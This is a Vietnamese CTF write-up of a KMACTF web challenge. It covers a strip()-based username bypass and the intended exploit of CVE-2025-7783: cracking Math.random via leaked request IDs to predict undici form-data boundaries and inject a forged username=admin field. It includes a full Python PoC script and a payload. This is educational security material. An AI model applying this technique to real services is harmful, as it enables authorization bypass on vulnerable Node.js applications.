app = Flask(__name__)
# Environment variables
FLAG = os.getenv("FLAG", "KMACTF{REDACTED}")
PORT = int(os.getenv("PORT", "8080"))
def get_timestamp():
"""Get current timestamp in ISO format"""
return datetime.utcnow().isoformat() + "Z"
def send_error_response(error, message, status_code=400):
"""Send error response"""
return jsonify({
"error": error,
"message": message,
"timestamp": get_timestamp()
}), status_code
def process_action(username, action):
"""Process different actions"""
if action == "foo":
return "bar", "Action 'foo' executed successfully", None
elif action == "readFlag":
if username == "admin":
return FLAG, "Flag retrieved successfully - you are admin!", None
else:
return "Access denied", f"Flag access denied for user '{username}' - admin privileges required", None
else:
return None, "", f"unknown action: {action}. Available actions: foo, readFlag"
@app.route('/execute', methods=['POST'])
def execute_handler():
"""Handle execute requests from Node.js server"""
try:
# Check if request has form data
if not request.form:
return send_error_response(
"Form parsing failed",
"No form data found in request",
400
)
# Extract form values
username = request.form.get('username', '').strip()
request_id = request.form.get('requestid', '').strip()
action = request.form.get('action', '').strip()
# Log request for debugging
logger.info(f"Received request - Username: {username}, RequestID: {request_id}, Action: {action}")
# Validate required fields
if not username or not request_id or not action:
return send_error_response(
"Missing required fields",
"username, requestid, and action are required",
400
)
# Process action
result, message, error = process_action(username, action)
if error:
return send_error_response("Action processing failed", error, 400)
# Send success response
response = {
"requestid": request_id,
"action": action,
"result": result,
"username": username,
"timestamp": get_timestamp(),
"message": message
}
return jsonify(response), 200
except Exception as e:
logger.error(f"Execute handler error: {str(e)}")
return send_error_response(
"Internal server error",
str(e),
500
)
@app.route('/health', methods=['GET'])
def health_handler():
"""Health check endpoint"""
response = {
"status": "healthy",
"service": "python-server",
"timestamp": get_timestamp(),
"actions": ["foo", "readFlag"],
"flag_hint": "readFlag action requires admin username"
}
return jsonify(response), 200
@app.route('/', methods=['GET'])
def info_handler():
"""Server information endpoint"""
response = {
"message": "CTF Challenge - Python Flag Server",
"service": "python-server",
"timestamp": get_timestamp(),
"endpoints": {
"POST /execute": "Execute action (requires form data: username, requestid, action)",
"GET /health": "Health check",
"GET /": "Server information"
},
"actions": {
"foo": "Returns 'bar'",
"readFlag": "Returns flag if username is 'admin'"
},
"security_info": {
"form_data": "Uses form-data to prevent parameter pollution",
"admin_required": "Flag access requires username='admin'",
"request_logging": "All requests are logged for debugging"
}
}
return jsonify(response), 200
@app.errorhandler(404)
def not_found(error):
"""Handle 404 errors"""
return send_error_response(
"Not found",
f"Endpoint not found",
404
)
@app.errorhandler(405)
def method_not_allowed(error):
"""Handle 405 errors"""
return send_error_response(
"Method not allowed",
f"Method {request.method} is not allowed for this endpoint",
405
)
@app.errorhandler(500)
def internal_error(error):
"""Handle 500 errors"""
return send_error_response(
"Internal server error",
"An unexpected error occurred",
500
)
if __name__ == '__main__':
logger.info(f"🚀 Python server starting on port {PORT}")
logger.info(f"🎯 Flag: {FLAG}")
logger.info(f"🔒 Admin username required for flag: 'admin'")
logger.info(f"⚡ Available actions: foo -> bar, readFlag -> flag (admin only)")
# Run Flask app
app.run(
host='0.0.0.0',
port=PORT,
debug=False,
threaded=True
)
```
:::
"Nào bạn nhanh tay tìm ngay flag" -> `# Environment variables
FLAG = os.getenv("FLAG", "KMACTF{REDACTED}")` được lấy ra gắn biến FLAG.
```python
def process_action(username, action):
"""Process different actions"""
if action == "foo":
return "bar", "Action 'foo' executed successfully", None
elif action == "readFlag":
if username == "admin":
return FLAG, "Flag retrieved successfully - you are admin!", None
else:
return "Access denied", f"Flag access denied for user '{username}' - admin privileges required", None
else:
return None, "", f"unknown action: {action}. Available actions: foo, readFlag"
```
Và chỉ có một nơi duy nhất có thể trigger để nhận flag.
```python
@app.route('/execute', methods=['POST'])
def execute_handler():
"""Handle execute requests from Node.js server"""
try:
# Check if request has form data
if not request.form:
return send_error_response(
"Form parsing failed",
"No form data found in request",
400
)
# Extract form values
username = request.form.get('username', '').strip()
request_id = request.form.get('requestid', '').strip()
action = request.form.get('action', '').strip()
# Log request for debugging
logger.info(f"Received request - Username: {username}, RequestID: {request_id}, Action: {action}")
# Validate required fields
if not username or not request_id or not action:
return send_error_response(
"Missing required fields",
"username, requestid, and action are required",
400
)
# Process action
result, message, error = process_action(username, action)
if error:
return send_error_response("Action processing failed", error, 400)
# Send success response
response = {
"requestid": request_id,
"action": action,
"result": result,
"username": username,
"timestamp": get_timestamp(),
"message": message
}
return jsonify(response), 200
except Exception as e:
logger.error(f"Execute handler error: {str(e)}")
return send_error_response(
"Internal server error",
str(e),
500
)
```
`process_action` được gọi ở api `/execute`:
Tại đây nó lấy từ form:
:::danger
```python
# Extract form values
username = request.form.get('username', '').strip()
request_id = request.form.get('requestid', '').strip()
action = request.form.get('action', '').strip()
```
:::
-> Đây sẽ là điểm lợi dụng hiệu quả để giải quyết bài này -> sau khi đọc xong phần dưới đây ta sẽ hiểu :-1:
Sau đó `username` và `action` được đưa vào `process_action` và để có flag thì `username == "admin"` và `action == "readFlag"`
### 2: nodejs-server
:::spoiler Dockerfile
```dockerfile
# Node.js 18 Dockerfile
FROM node:18.20.4-alpine
WORKDIR /app
# Copy package files
COPY package*.json ./
# Install dependencies
RUN npm install --production
# Copy application code
COPY . .
# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S ctfuser -u 1001
RUN chown -R ctfuser:nodejs /app
USER ctfuser
EXPOSE 3000
CMD ["npm", "start"]
```
:::
:::spoiler index.js
```javascript
const express = require('express');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const app = express();
const PORT = process.env.PORT || 3000;
const JWT_SECRET = process.env.JWT_SECRET || 'nope';
const PYTHON_SERVER = process.env.PYTHON_SERVER || 'http://python-server:8080';
// In-memory user storage
const users = {};
// Middleware
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
// Generate request ID
const generateRequestId = () => {
return Math.floor(Math.random() * 1e11).toString().padStart(11, '0');
};
// Middleware to add requestId to all responses
app.use((req, res, next) => {
if (req.headers['x-request-id']) {
req.requestId = req.headers['x-request-id'];
} else {
req.requestId = generateRequestId();
}
// Add request ID to response headers
res.setHeader('X-Request-ID', req.requestId);
// Log request with ID
console.log(`[${new Date().toISOString()}] Request ${req.requestId}: ${req.method} ${req.path}`);
next();
});
// JWT middleware
const authenticateToken = (req, res, next) => {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'Access token required' });
}
jwt.verify(token, JWT_SECRET, (err, user) => {
if (err) {
return res.status(403).json({ error: 'Invalid or expired token' });
}
req.user = user;
next();
});
};
// Routes
// Home page
app.get('/', (req, res) => {
res.json({
message: 'CTF Challenge - Node.js + Python Server',
service: 'nodejs-server',
endpoints: {
'POST /register': 'Register new user (username > 5 chars)',
'POST /login': 'Login and get JWT token',
'POST /action': 'Execute action on Python server (requires auth)',
'GET /health': 'Health check'
},
instructions: [
'1. Register with username > 5 characters',
'2. Login to get JWT token',
'3. Use /action endpoint with action=foo or action=readFlag'
]
});
});
// Register endpoint
app.post('/register', async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({
error: 'Username and password are required'
});
}
if( typeof username !== 'string' || typeof password !== 'string' ) {
return res.status(400).json({
error: 'Username and password must be strings'
});
}
// Validate username length (must be > 5 characters)
if (username.length <= 5) {
return res.status(400).json({
error: 'Username must be longer than 5 characters'
});
}
if (users[username]) {
return res.status(400).json({
error: 'User already exists'
});
}
try {
const hashedPassword = await bcrypt.hash(password, 10);
users[username] = {
username,
password: hashedPassword,
createdAt: new Date().toISOString()
};
res.json({
message: 'User registered successfully',
username: username,
hint: 'Now you can login to get JWT token'
});
} catch (error) {
res.status(500).json({
error: 'Registration failed',
message: error.message
});
}
});
// Login endpoint
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({
error: 'Username and password are required'
});
}
if(typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({
error: 'Username and password must be strings'
});
}
const user = users[username];
if (!user) {
return res.status(401).json({
error: 'Invalid credentials'
});
}
try {
const validPassword = await bcrypt.compare(password, user.password);
if (!validPassword) {
return res.status(401).json({
error: 'Invalid credentials'
});
}
// Create JWT token
const token = jwt.sign(
{
username: user.username,
iat: Math.floor(Date.now() / 1000)
},
JWT_SECRET,
{ expiresIn: '24h' }
);
res.json({
message: 'Login successful',
token: token,
username: user.username,
hint: 'Use this token in Authorization: Bearer <token> header'
});
} catch (error) {
res.status(500).json({
error: 'Login failed',
message: error.message
});
}
});
// Action endpoint - proxy to Python server with form data
app.post('/action', authenticateToken, async (req, res) => {
const { action } = req.body;
if (!action) {
return res.status(400).json({
error: 'Action parameter is required',
available_actions: ['foo', 'readFlag']
});
}
try {
// Create form data to send to Python server (to prevent param pollution)
const formData = new FormData();
formData.append('requestid', req.requestId);
formData.append('action', action);
formData.append('username', req.user.username);
console.log(`[${new Date().toISOString()}] Proxying to Python server:`, {
username: req.user.username,
requestId: req.requestId,
action: action
});
// Send request to Python server
const response = await fetch(`${PYTHON_SERVER}/execute`, {
method: 'POST',
body: formData
});
const pythonData = await response.json();
// Check if Python server returned an error
if (!response.ok) {
return res.status(response.status).json({
error: 'Python server error',
message: pythonData.message || pythonData.error || 'Unknown error',
python_response: pythonData
});
}
// Return response from Python server
res.json({
message: 'Action executed successfully',
nodejs_info: {
authenticated_user: req.user.username,
request_id: req.requestId,
action: action
},
python_response: pythonData
});
} catch (error) {
console.error('Error calling Python server:', error.message);
res.status(500).json({
error: 'Request failed',
message: error.message,
details: 'Unable to connect to Python server'
});
}
});
// Health check
app.get('/health', (req, res) => {
res.json({
status: 'healthy',
service: 'nodejs-server',
requestId: req.requestId,
timestamp: new Date().toISOString(),
users_count: Object.keys(users).length,
python_server: PYTHON_SERVER
});
});
// Debug endpoint (for testing)
// app.get('/debug', authenticateToken, (req, res) => {
// res.json({
// message: 'Debug information',
// authenticated_user: req.user,
// available_users: Object.keys(users),
// jwt_secret_hint: JWT_SECRET.substring(0, 10) + '...',
// golang_server: GOLANG_SERVER
// });
// });
// Error handler
app.use((err, req, res, next) => {
console.error(`Request ${req.requestId}: ${err.stack}`);
res.status(500).json({
error: 'Internal server error',
message: err.message,
requestId: req.requestId
});
});
// 404 handler
app.use((req, res) => {
res.status(404).json({
error: 'Not found',
message: `Endpoint ${req.method} ${req.path} not found`,
requestId: req.requestId
});
});
app.listen(PORT, () => {
console.log(`🚀 Node.js server running on port ${PORT}`);
console.log(`🔗 Python server: ${PYTHON_SERVER}`);
console.log(`🔑 JWT Secret: ${JWT_SECRET}`);
console.log(`📝 Users registered: ${Object.keys(users).length}`);
});
```
:::
Ta thấy ở đây chỉ có `/action` là có thể xiên ngang qua:
```javascript
const response = await fetch(`${PYTHON_SERVER}/execute`, {
method: 'POST',
body: formData
});
```
Nó nhận `action` từ body req -> sau đó gom các dữ kiện từ người dùng vào form để gửi
```javascript
const formData = new FormData();
formData.append('requestid', req.requestId);
formData.append('action', action);
formData.append('username', req.user.username);
```
```javascript
// JWT middleware
const authenticateToken = (req, res, next) => {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'Access token required' });
}
jwt.verify(token, JWT_SECRET, (err, user) => {
if (err) {
return res.status(403).json({ error: 'Invalid or expired token' });
}
req.user = user;
next();
});
};
```
Middleware này sẽ lấy token để verify sau đó gắn các giá trị tương ứng của người dùng.
Để có account thì api /register sẽ cho phép người dùng register với username len > 5:
```javascript
// Register endpoint
app.post('/register', async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({
error: 'Username and password are required'
});
}
if( typeof username !== 'string' || typeof password !== 'string' ) {
return res.status(400).json({
error: 'Username and password must be strings'
});
}
// Validate username length (must be > 5 characters)
if (username.length <= 5) {
return res.status(400).json({
error: 'Username must be longer than 5 characters'
});
}
if (users[username]) {
return res.status(400).json({
error: 'User already exists'
});
}
try {
const hashedPassword = await bcrypt.hash(password, 10);
users[username] = {
username,
password: hashedPassword,
createdAt: new Date().toISOString()
};
res.json({
message: 'User registered successfully',
username: username,
hint: 'Now you can login to get JWT token'
});
} catch (error) {
res.status(500).json({
error: 'Registration failed',
message: error.message
});
}
});
```
-> Sau khi reg thì account được lưu lại với key là username, password hash bcrypt:
```javascript
// In-memory user storage
const users = {};
```
-> giờ đây ta chỉ cần dùng username là ` admin `,... là đã có thể tạo riêng cho mình một account.
Tiếp theo chỉ cần login bình thường:
:::spoiler /login
```javascript
// Login endpoint
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({
error: 'Username and password are required'
});
}
if(typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({
error: 'Username and password must be strings'
});
}
const user = users[username];
if (!user) {
return res.status(401).json({
error: 'Invalid credentials'
});
}
try {
const validPassword = await bcrypt.compare(password, user.password);
if (!validPassword) {
return res.status(401).json({
error: 'Invalid credentials'
});
}
// Create JWT token
const token = jwt.sign(
{
username: user.username,
iat: Math.floor(Date.now() / 1000)
},
JWT_SECRET,
{ expiresIn: '24h' }
);
res.json({
message: 'Login successful',
token: token,
username: user.username,
hint: 'Use this token in Authorization: Bearer <token> header'
});
} catch (error) {
res.status(500).json({
error: 'Login failed',
message: error.message
});
}
});
```
:::
-> khi mà đúng username - password thì token được sign với `JWT_SECRET` và trả ra cho ta.
Ngoài ra thì ở đây cũng có một middleware để thêm vào `X-Request-ID`:
```javascript
// Generate request ID
const generateRequestId = () => {
return Math.floor(Math.random() * 1e11).toString().padStart(11, '0');
};
// Middleware to add requestId to all responses
app.use((req, res, next) => {
if (req.headers['x-request-id']) {
req.requestId = req.headers['x-request-id'];
} else {
req.requestId = generateRequestId();
}
// Add request ID to response headers
res.setHeader('X-Request-ID', req.requestId);
// Log request with ID
console.log(`[${new Date().toISOString()}] Request ${req.requestId}: ${req.method} ${req.path}`);
next();
});
```
Về logic cũng không có gì đặc biệt lắm ¯\_(ツ)_/¯.
### 3: Cách 1_ Unintended -> bypass with strip()
Như ta để ý dòng trên thì ở python server -> khi nhận username, action, requestid nó strip đi tức là ` admin `, hay bất kì space ở đầu hay cuối đều bị loại bỏ -> bypass việc register với username bắt buộc len phải > 5;
-> Tiếp theo chỉ cần post action `readFlag` là được.



flag: `KMACTF{how_can_you_pollute_param_@@_}`
### 4: Cách 2_ Intended CVE-2025-7783 - HTTP param polution
```c
/app/node_modules $ node -p "process.version"
v18.20.4
/app/node_modules $ node -p "typeof FormData"
function
```
Sau khi kiểm tra khá nhiều hướng khai thác thì mình thử searching FormData xem có lỗi không bởi vì chắc hẳn không tự nhiên mà tác giả lại thêm vào middleware là header này:
```javascript
// Middleware to add requestId to all responses
app.use((req, res, next) => {
if (req.headers['x-request-id']) {
req.requestId = req.headers['x-request-id'];
} else {
req.requestId = generateRequestId();
}
// Add request ID to response headers
res.setHeader('X-Request-ID', req.requestId);
// Log request with ID
console.log(`[${new Date().toISOString()}] Request ${req.requestId}: ${req.method} ${req.path}`);
next();
});
```
```c
// Create form data to send to Python server (to prevent param pollution)
const formData = new FormData();
```
Rất nhanh chóng ta có thể thấy ngay ở đây có CVE: https://www.cve.org/CVERecord?id=CVE-2025-7783
Đề cập như sau:
:::warning Description
Usage of unsafe random function in form-data for choosing boundary
Use of Insufficiently Random Values vulnerability in form-data allows HTTP Parameter Pollution (HPP). This vulnerability is associated with program files lib/form_data.Js. This issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.
:::
Ta có thể quan sát commit/link này để xem nguyên nhân:
https://github.com/form-data/form-data/security/advisories/GHSA-fjxv-7rqg-78g4
https://github.com/form-data/form-data/commit/3d1723080e6577a66f17f163ecd345a21d8d0fd0#diff-3e43d32fd2883fc8300dbf75f467758665f0be79f3e26f4b2c7dfcfe69496e23

Tham khảo: https://hackerone.com/reports/2913312
POC: https://github.com/benweissmann/CVE-2025-7783-poc

Vậy đúng như mô tả CVE và middleware add `req.headers['x-request-id']`
-> **Checking:**
Mặc dù mô tả đối chiếu với mã nguồn là 96,69% ? tuy nhiên việc xác định đúng xem có lỗi hay không cũng có ảnh hưởng tích cực đến quá trình làm bài -> không bị rơi vào các `rabit hole`.
Version: `This issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.`
Tuy nhiên lib này lại không có trong `package.json`:
```json
{
"name": "ctf-nodejs-server",
"version": "1.0.0",
"description": "CTF Challenge - Node.js Server with JWT Auth",
"main": "index.js",
"scripts": {
"start": "node index.js",
"dev": "nodemon index.js"
},
"dependencies": {
"express": "^4.18.2",
"jsonwebtoken": "^9.0.2",
"bcrypt": "^5.1.1"
},
"devDependencies": {
"nodemon": "^3.0.2"
},
"engines": {
"node": ">=18.0.0"
},
"keywords": ["ctf", "jwt", "auth", "proxy"],
"author": "CTF Challenge Creator",
"license": "MIT"
}
```
Sau một hồi tìm kiếm thì mình tìm được các bài viết liên quan, cụ thể: https://socket.dev/blog/critical-vulnerability-in-popular-npm-form-data-package


Đây là câu trả lời mà chúng ta cần -> để dễ dàng kiểm tra hơn thì ta có thể xem thêm mã nguồn
ở đây có `FROM node:18.20.4-alpine` có cả `FROM node:18.20.4` thì nó đã xóa file form-data.js trong mã nguồn của node rồi thay vào đó phần implement FormData được lấy trực tiếp từ undici và được để trong thư mục deps/undici.
Tìm đến mã nguồn của nodejs 18.20.4: https://github.com/nodejs/node/blob/v18.20.4/deps/undici/src/package.json

Qúa tuyệt rồi version 4.0.0 có bug.
https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347
### 5: Deep in vuln(undici or form-data)
Thư viện form-data khi tạo multipart request cần một chuỗi boundary (ranh giới) để phân tách các phần dữ liệu.
Đây cũng là chuỗi mà ta hay thấy khi mà upload form mà file (https://medium.com/@muhebollah.diu/understanding-multipart-form-data-the-ultimate-guide-for-beginners-fd039c04553d)
Yêu cầu: Boundary này phải là ngẫu nhiên, khó đoán để kẻ tấn công không thể chèn dữ liệu giả mạo.
Do dòng:
:::warning
```javascript
boundary += Math.floor(Math.random() * 10).toString(16);
```
:::
Yêu cầu: Ta phải quan sát được output từ Math.random() trong cùng process.
```javascript
const generateRequestId = () => {
return Math.floor(Math.random() * 1e11).toString().padStart(11, '0');
};
```
Đây là res trả ra qua header nên ta sẽ dùng để `khôi phục trạng thái của PRNG`.
:::spoiler
```javascript
// const xxx = {};
// // In-memory user storage
// const users = {};
// const username = "__proto__";
// users[username] = {
// username,
// password: "aaaa",
// createdAt: new Date().toISOString()
// };
// console.log(Object.getPrototypeOf(users));
// console.log(xxx.username);
import fetch from "node-fetch";
import FormData from "form-data";
import { HttpsProxyAgent } from "https-proxy-agent";
async function main() {
const proxy = 'http://127.0.0.1:8080';
const agent = new HttpsProxyAgent(proxy);
const formData = new FormData();
formData.append('requestid', 'aaaaaaaaaaaaaa');
formData.append('action', 'foo');
formData.append('username', 'laaaaam');
const response = await fetch('http://localhost:8090/execute', {
method: 'POST',
body: formData,
agent
});
const data = await response.json();
console.log(data);
}
main().catch(console.error);
// const a = Math.floor(Math.random() * 10).toString(16);
// console.log(a);
```
:::
:::spoiler package.json
```json
{
"name": "ctf-nodejs-server",
"version": "1.0.0",
"description": "CTF Challenge - Node.js Server with JWT Auth",
"main": "index.js",
"scripts": {
"start": "node index.js",
"dev": "nodemon index.js"
},
"dependencies": {
"bcrypt": "^5.1.1",
"express": "^4.18.2",
"form-data": "4.0.0",
"https-proxy-agent": "^7.0.6",
"jsonwebtoken": "^9.0.2",
"node-fetch": "^3.3.2"
},
"devDependencies": {
"nodemon": "^3.0.2"
},
"engines": {
"node": ">=18.0.0"
},
"keywords": [
"ctf",
"jwt",
"auth",
"proxy"
],
"author": "CTF Challenge Creator",
"license": "MIT",
"type": "module"
}
```
:::

Điều HTTP param polution sẽ xảy ra như sau:

Việc injection trước `formData.append('username', req.user.username);` một form-data - name là username thì phía python server sẽ nhận giá trị được cung cấp trước trong body được ngăn cách bằng boundary.
-> Vậy:
```javascript
const formData = new FormData();
formData.append('requestid', req.requestId);
formData.append('action', action);
formData.append('username', req.user.username);
```
Từ đó -> ta bắt buộc phải inject ở action hoặc requestid tuy nhiên sau khi thử khá nhiều lần thì mình nhận ra rằng:
Nếu inject ở header ta cần phải có \r\n tuy nhiên điều này lại không được cho phép ở header:

Vậy nếu url encode nó thì mặc định header này sẽ được nhận nguyên dạng luôn (không được url decode như ở path hay body).
=> Do đó ta chỉ có thể injection ngay ở action luôn: lí do -> crack random sẽ cần lấy ra những output của hàm Random trước sau đó tính toán để tìm được chính xác giá trị random tiếp -> do đó nếu ta inject vào username khi register chẳng hạn -> thì có thể vẫn được tuy nhiên giá trị random làm sao mà ta đoán được sớm thể đúng không -> không thể inject vào username.
Lỗ hổng trong hàm random được để cập rất nhiều và có nhiều tool được custom sẵn:
https://github.com/Mistsuu/randcracks/tree/release
### 6: Sự khác biệt trong cách xử lý giữa form-data từ npm 4.0.0 được cài đặt và form data được dùng trong node version 18
https://github.com/nodejs/node/blob/v18.20.4/deps/undici/undici.js#L10
Tại đường dẫn trên ta có thể thấy giá trị của chuỗi boundary không phải được gen như này:
```javascript
var boundary = '--------------------------';
for (var i = 0; i < 24; i++) {
boundary += Math.floor(Math.random() * 10).toString(16);
}
this._boundary = boundary;
};
```
Mà khác đi một chút:

prefix sẽ là `----formdata-undici-0` sau đó thêm 11 bytes được gen từ hàm Random (0 ở trước đó là padding) -> vẫn cơ chế khai thác cũ đó.
Cụ thể block code xử lý ở đây:
:::spoiler form-data
```javascript
const boundary = `----formdata-undici-0${`${Math.floor(Math.random() * 1e11)}`.padStart(11, "0")}`;
const prefix = `--${boundary}\r
Content-Disposition: form-data`;
const escape = /* @__PURE__ */ __name((str) => str.replace(/\n/g, "%0A").replace(/\r/g, "%0D").replace(/"/g, "%22"), "escape");
const normalizeLinefeeds = /* @__PURE__ */ __name((value) => value.replace(/\r?\n|\r/g, "\r\n"), "normalizeLinefeeds");
const blobParts = [];
const rn = new Uint8Array([13, 10]);
length = 0;
let hasUnknownSizeValue = false;
for (const [name, value] of object) {
if (typeof value === "string") {
const chunk2 = textEncoder.encode(prefix + `; name="${escape(normalizeLinefeeds(name))}"\r
\r
${normalizeLinefeeds(value)}\r
`);
blobParts.push(chunk2);
length += chunk2.byteLength;
} else {
const chunk2 = textEncoder.encode(`${prefix}; name="${escape(normalizeLinefeeds(name))}"` + (value.name ? `; filename="${escape(value.name)}"` : "") + `\r
Content-Type: ${value.type || "application/octet-stream"}\r
\r
`);
blobParts.push(chunk2, value, rn);
if (typeof value.size === "number") {
length += chunk2.byteLength + value.size + rn.byteLength;
} else {
hasUnknownSizeValue = true;
}
}
}
const chunk = textEncoder.encode(`--${boundary}--`);
blobParts.push(chunk);
length += chunk.byteLength;
if (hasUnknownSizeValue) {
length = null;
}
source = object;
action = /* @__PURE__ */ __name(async function* () {
for (const part of blobParts) {
if (part.stream) {
yield* part.stream();
} else {
yield part;
}
}
}, "action");
type = "multipart/form-data; boundary=" + boundary;
```
:::

Nó duyệt qua hết name và value các trường mà được truyền vào FormData:
```javascript
if (typeof value === "string") {
const chunk2 = textEncoder.encode(prefix + `; name="${escape(normalizeLinefeeds(name))}"\r
\r
${normalizeLinefeeds(value)}\r
`);
blobParts.push(chunk2);
length += chunk2.byteLength;
```
Nếu mà value là string -> ở bài này thì nó xử lý ở dạng string hết -> thì name sẽ escape - ở đây là username nên không escape gì.
```c
\n (LF) → thay bằng %0A
\r (CR) → thay bằng %0D
" → thay bằng %22
```
Cái này nhằm việc không phá vỡ cú pháp của `Content-Disposition`
Sau đó là value được `${escape(normalizeLinefeeds(name))}`:
```c
\n (LF) → \r\n
\r (CR) → \r\n
\r\n → \r\n
```
Sau đó chúng được push vào - đồng thời update content-length
Tương tự cho các value là file/blob
```javascript
const chunk = textEncoder.encode(`--${boundary}--`);
blobParts.push(chunk);
length += chunk.byteLength;
if (hasUnknownSizeValue) {
length = null;
}
source = object;
action = /* @__PURE__ */ __name(async function* () {
for (const part of blobParts) {
if (part.stream) {
yield* part.stream();
} else {
yield part;
}
}
}, "action");
type = "multipart/form-data; boundary=" + boundary;
```
Cuối cùng là `boundary--` kết thúc được thêm vào nhằm chỉ thị là kết thúc octet stream với `const chunk = textEncoder.encode(`--${boundary}--`);` -> sau đó cập nhật `type = "multipart/form-data; boundary=" + boundary;` là giá trị của `content-type` mà ta hay thấy.
Vậy lỗ hổng này sẽ inject vào value để phá vỡ - hay nói cách khác là thêm một form-data trước giá trị cần polution để phía server nhận xử lí cái ta inject thay vì cái ban đầu.
-> Crack hàm random -> dự đoán được `boundary` mới.
-> Dùng kí tự crlf để ghi thêm form-data.
payload: `readFlag\r\n------formdata-undici-0{11bytes}\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin`
Với giá trị này thì buffe stream trở thành + phần username được push vào sau:
```javascript
const formData = new FormData();
formData.append('requestid', "11111111111");
formData.append('action', action);
formData.append('username', req.user.username);
```
```c
------formdata-undici-0{11-bytes}\rContent-Disposition: form-data; name="requestid"/r/r11111111111/r------formdata-undici-0{11-bytes}\rContent-Disposition: form-data; name="action"/r/rreadFlag\r\n------formdata-undici-058839547970\r\nContent-Disposition: form-data; name="username"\r\n\r\nadmin\r------formdata-undici-0{11-bytes}\rContent-Disposition: form-data; name="username"\r\rl3mnt2010\r------formdata-undici-0{11-bytes}--
```
:::info
Tại sao lại thêm `requestid` vì middleware mặc định sẽ thêm cho ta - câu trả lời đó là nếu mà không có `req.headers['x-request-id']` chương trình sẽ gọi thêm một lần gen nữa `req.requestId = generateRequestId();` và lúc này chuẩn đoán(crack) từ mấy lần trước của ta sẽ bị thiếu 1 lần -> do đó ta phải chuẩn đoán(crack) thêm một lần nữa để lấy được giá trị chính xác của `11-bytes`, nếu không thì giá trị này sẽ là của `requestId` tiếp theo được trả ra ở header nếu không set.
:::
### 7: POC
```python
import subprocess
import json
import requests
from urllib.parse import quote
import sys
import time
from xorshift128p_crack import RandomSolver
import math
# TARGET_LEAK = "http://localhost:3000"
# TARGET_PAYMENT = "http://localhost:3000/action"
TARGET_LEAK = "http://165.22.55.200:50004"
TARGET_PAYMENT = "http://165.22.55.200:50004/action"
vals = []
boundaryIntro = "------formdata-undici-"
def crack_random(observed_vals):
outputs = []
for v in observed_vals[:10]:
try:
outputs.append(int(float(v)))
except Exception:
digits = "".join(ch for ch in str(v) if ch.isdigit())
outputs.append(int(digits) if digits else 0)
solver = RandomSolver()
for out in outputs:
solver.submit_random_mul_const(out, 10 ** 11)
solver.solve()
if not solver.answers:
raise RuntimeError("No solutions from RandomSolver")
answer = solver.answers[0]
seq = [str(math.floor((10 ** 11) * answer.random())) for _ in range(24)]
return seq[0]
def main():
session = requests.Session()
headers_leak = {"Connection": "close"}
for i in range(10):
r = session.get(TARGET_LEAK, headers=headers_leak)
if r.status_code != 200:
raise RuntimeError(f"Failed to fetch (status {r.status_code})")
request_id = r.headers.get("x-request-id")
if not request_id:
raise RuntimeError("No x-request-id")
_ = r.text
vals.append(request_id)
first_crack = crack_random(vals)
first_crack = str(first_crack).zfill(12)
payload = "readFlag\r\n" + boundaryIntro + first_crack + "\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\nadmin"
encoded_payload = quote(payload, safe='')
post_headers = {
"Content-Type": "application/x-www-form-urlencoded",
"x-request-id": "11111111111",
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImwzbW50MjAxMCIsImlhdCI6MTc1OTMxMDc1NSwiZXhwIjoxNzU5Mzk3MTU1fQ.Wqk2OH7nHt0hVYF2u9aBfKIhv8nwvRITKCVmjsVVer4",
"Connection": "close",
}
for attempt in range(3):
try:
r = session.post(
TARGET_PAYMENT,
headers=post_headers,
data=f"action={encoded_payload}",
timeout=10
)
print("Status:", r.status_code)
print("Response body:")
print(r.text)
break
except requests.RequestException as e:
print(f"Request error (attempt {attempt+1}): {e}", file=sys.stderr)
if attempt == 2:
raise
time.sleep(0.5)
if __name__ == "__main__":
main()
```
Nếu không muốn debug ta có thể thêm vào dòng này để đọc được buffer mà `FormData` gửi đi để check:
```javascript
////////////////////////////////////
//// Trick: Tạo fake Response để extract buffer
const fakeResponse = new Response(formData);
const rawBody = Buffer.from(await fakeResponse.arrayBuffer());
console.log("=== RAW BODY ===");
console.log(rawBody.toString());
////////////////////////////////////
```
Ban đầu thì mình cũng không nhận ra được là cách xử lý của 2 lib trong node 18 và form-data 4.0.0 khác nhau cho nên bị rơi vào rabbit hole đó là dùng sai format `boundary` dưới dạng như này:

-> Với debug thì ta sẽ đọc để sửa lỗi:
```c
[2025-10-01T12:02:39.736Z] Request 11111111111: POST /action
readFlag
------formdata-undici-058373383344
Content-Disposition: form-data; name="username"
admin
Trên là actionnn ở nodejs
=== Content-Type ===
multipart/form-data; boundary=----formdata-undici-042813848411
=== RAW BODY ===
------formdata-undici-058373383344
Content-Disposition: form-data; name="requestid"
11111111111
------formdata-undici-058373383344
Content-Disposition: form-data; name="action"
readFlag
------formdata-undici-058373383344
Content-Disposition: form-data; name="username"
admin
------formdata-undici-058373383344
Content-Disposition: form-data; name="username"
l3mnt2010
------formdata-undici-058373383344--
[2025-10-01T12:02:39.830Z] Proxying to Python server: {
username: 'l3mnt2010',
requestId: '11111111111',
action: 'readFlag\r\n' +
'------formdata-undici-058373383344\r\n' +
'Content-Disposition: form-data; name="username"\r\n' +
'\r\n' +
'admin'
}
python-server
INFO:__main__:Received request - Username: l3mnt2010, RequestID: 11111111111, Action: readFlag
------formdata-undici-058373383344
Content-Disposition: form-data; name="username"
admin
